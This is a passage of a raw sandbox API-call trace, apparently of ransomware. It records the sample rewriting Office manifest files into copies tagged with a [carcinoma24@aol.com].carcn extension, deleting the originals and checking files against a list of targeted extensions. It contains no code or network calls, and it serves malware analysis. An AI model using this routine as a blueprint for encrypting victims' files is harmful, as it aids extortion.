dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.523] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.523] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.524] GetLastError () returned 0x0 [0180.524] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x863, lpOverlapped=0x0) returned 1 [0180.536] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x870, lpOverlapped=0x0) returned 1 [0180.537] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.537] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.538] SetEndOfFile (hFile=0x35c) returned 1 [0180.538] CloseHandle (hObject=0x35c) returned 1 [0180.538] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.538] SetEndOfFile (hFile=0x2e0) returned 1 [0180.539] CloseHandle (hObject=0x2e0) returned 1 [0180.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0180.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.540] lstrlenW (lpString=".doc") returned 4 [0180.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.540] lstrlenW (lpString=".docx") returned 5 [0180.540] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.540] lstrlenW (lpString=".pdf") returned 4 [0180.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.540] lstrlenW (lpString=".xls") returned 4 [0180.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.540] lstrlenW (lpString=".xlsx") returned 5 [0180.540] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.540] lstrlenW (lpString=".ppt") returned 4 [0180.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.540] lstrlenW (lpString=".zip") returned 4 [0180.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.540] lstrlenW (lpString=".rar") returned 4 [0180.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.540] lstrlenW (lpString=".bz2") returned 4 [0180.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.540] lstrlenW (lpString=".7z") returned 3 [0180.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.541] lstrlenW (lpString=".dbf") returned 4 [0180.541] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.541] lstrlenW (lpString=".1cd") returned 4 [0180.541] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.541] lstrlenW (lpString=".jpg") returned 4 [0180.541] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.541] lstrlenW (lpString=".doc") returned 4 [0180.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString=".docx") returned 5 [0180.541] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.541] lstrlenW (lpString=".pdf") returned 4 [0180.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString=".xls") returned 4 [0180.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString=".xlsx") returned 5 [0180.541] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.541] lstrlenW (lpString=".ppt") returned 4 [0180.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.541] lstrlenW (lpString=".zip") returned 4 [0180.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.541] lstrlenW (lpString=".rar") returned 4 [0180.541] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString=".bz2") returned 4 [0180.541] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.541] lstrlenW (lpString=".7z") returned 3 [0180.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.542] lstrlenW (lpString=".dbf") returned 4 [0180.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.542] lstrlenW (lpString=".1cd") returned 4 [0180.542] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0180.542] lstrlenW (lpString=".jpg") returned 4 [0180.542] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.542] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.542] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0180.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.542] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=2147) returned 1 [0180.542] CloseHandle (hObject=0x2e0) returned 1 [0180.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0180.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.547] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.547] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0180.547] GetLastError () returned 0x0 [0180.547] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x863, lpOverlapped=0x0) returned 1 [0180.592] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x870, lpOverlapped=0x0) returned 1 [0180.593] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.593] WriteFile (in: hFile=0x35c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.593] SetEndOfFile (hFile=0x35c) returned 1 [0180.593] CloseHandle (hObject=0x35c) returned 1 [0180.595] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.595] SetEndOfFile (hFile=0x2e0) returned 1 [0180.596] CloseHandle (hObject=0x2e0) returned 1 [0180.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0180.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0180.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.597] lstrlenW (lpString=".doc") returned 4 [0180.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString=".docx") returned 5 [0180.597] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.597] lstrlenW (lpString=".pdf") returned 4 [0180.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString=".xls") returned 4 [0180.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString=".xlsx") returned 5 [0180.597] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.597] lstrlenW (lpString=".ppt") returned 4 [0180.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.597] lstrlenW (lpString=".zip") returned 4 [0180.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.597] lstrlenW (lpString=".rar") returned 4 [0180.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString=".bz2") returned 4 [0180.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString=".7z") returned 3 [0180.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.597] lstrlenW (lpString=".dbf") returned 4 [0180.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.597] lstrlenW (lpString=".1cd") returned 4 [0180.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.598] lstrlenW (lpString=".jpg") returned 4 [0180.598] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.598] lstrlenW (lpString=".doc") returned 4 [0180.598] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString=".docx") returned 5 [0180.598] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0180.598] lstrlenW (lpString=".pdf") returned 4 [0180.598] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString=".xls") returned 4 [0180.598] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString=".xlsx") returned 5 [0180.598] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0180.598] lstrlenW (lpString=".ppt") returned 4 [0180.598] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.598] lstrlenW (lpString=".zip") returned 4 [0180.598] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0180.598] lstrlenW (lpString=".rar") returned 4 [0180.598] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString=".bz2") returned 4 [0180.598] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString=".7z") returned 3 [0180.598] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0180.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.598] lstrlenW (lpString=".dbf") returned 4 [0180.598] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0180.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.598] lstrlenW (lpString=".1cd") returned 4 [0180.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0180.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0180.599] lstrlenW (lpString=".jpg") returned 4 [0180.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0180.599] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0180.599] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0180.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.600] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=215883) returned 1 [0180.600] CloseHandle (hObject=0x2e0) returned 1 [0180.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0180.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.600] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.600] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0181.554] GetLastError () returned 0x0 [0181.554] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0181.573] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0181.576] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.577] WriteFile (in: hFile=0x310, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0181.577] SetEndOfFile (hFile=0x310) returned 1 [0181.577] CloseHandle (hObject=0x310) returned 1 [0181.855] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.855] SetEndOfFile (hFile=0x2e0) returned 1 [0181.856] CloseHandle (hObject=0x2e0) returned 1 [0181.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0181.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0181.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.857] lstrlenW (lpString=".doc") returned 4 [0181.857] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.857] lstrlenW (lpString=".docx") returned 5 [0181.857] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.857] lstrlenW (lpString=".pdf") returned 4 [0181.857] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.857] lstrlenW (lpString=".xls") returned 4 [0181.857] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.857] lstrlenW (lpString=".xlsx") returned 5 [0181.857] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.857] lstrlenW (lpString=".ppt") returned 4 [0181.858] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.858] lstrlenW (lpString=".zip") returned 4 [0181.858] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.858] lstrlenW (lpString=".rar") returned 4 [0181.858] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString=".bz2") returned 4 [0181.858] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString=".7z") returned 3 [0181.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.858] lstrlenW (lpString=".dbf") returned 4 [0181.858] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.858] lstrlenW (lpString=".1cd") returned 4 [0181.858] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.858] lstrlenW (lpString=".jpg") returned 4 [0181.858] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.858] lstrlenW (lpString=".doc") returned 4 [0181.858] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString=".docx") returned 5 [0181.858] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0181.858] lstrlenW (lpString=".pdf") returned 4 [0181.858] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString=".xls") returned 4 [0181.858] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString=".xlsx") returned 5 [0181.858] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0181.858] lstrlenW (lpString=".ppt") returned 4 [0181.858] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0181.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.859] lstrlenW (lpString=".zip") returned 4 [0181.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0181.859] lstrlenW (lpString=".rar") returned 4 [0181.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0181.859] lstrlenW (lpString=".bz2") returned 4 [0181.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.859] lstrlenW (lpString=".7z") returned 3 [0181.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.859] lstrlenW (lpString=".dbf") returned 4 [0181.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.859] lstrlenW (lpString=".1cd") returned 4 [0181.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0181.859] lstrlenW (lpString=".jpg") returned 4 [0181.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0181.859] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0181.859] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0181.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft 